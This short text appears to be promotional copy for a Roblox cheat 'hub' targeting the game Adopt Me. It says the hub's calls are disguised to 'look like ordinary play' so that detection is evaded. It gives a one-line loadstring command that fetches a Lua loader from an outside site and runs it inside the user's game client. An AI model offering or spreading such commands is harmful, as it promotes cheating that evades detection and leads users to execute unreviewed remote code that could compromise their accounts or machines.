Adopt Me routes everything through its own module loader rather than plain remotes. The hub asks that loader for what it needs, exactly the way the game's client does -- so the calls look like ordinary play.
loadstring(game:HttpGet("https://rvhub.wtf/loader.lua"))()
Every label matches what you'll see in-game. Nothing generic is bolted on -- each hub is only the calls that game actually makes.
The limits are worth knowing before you assume something's broken.
One key, one loader, every module above.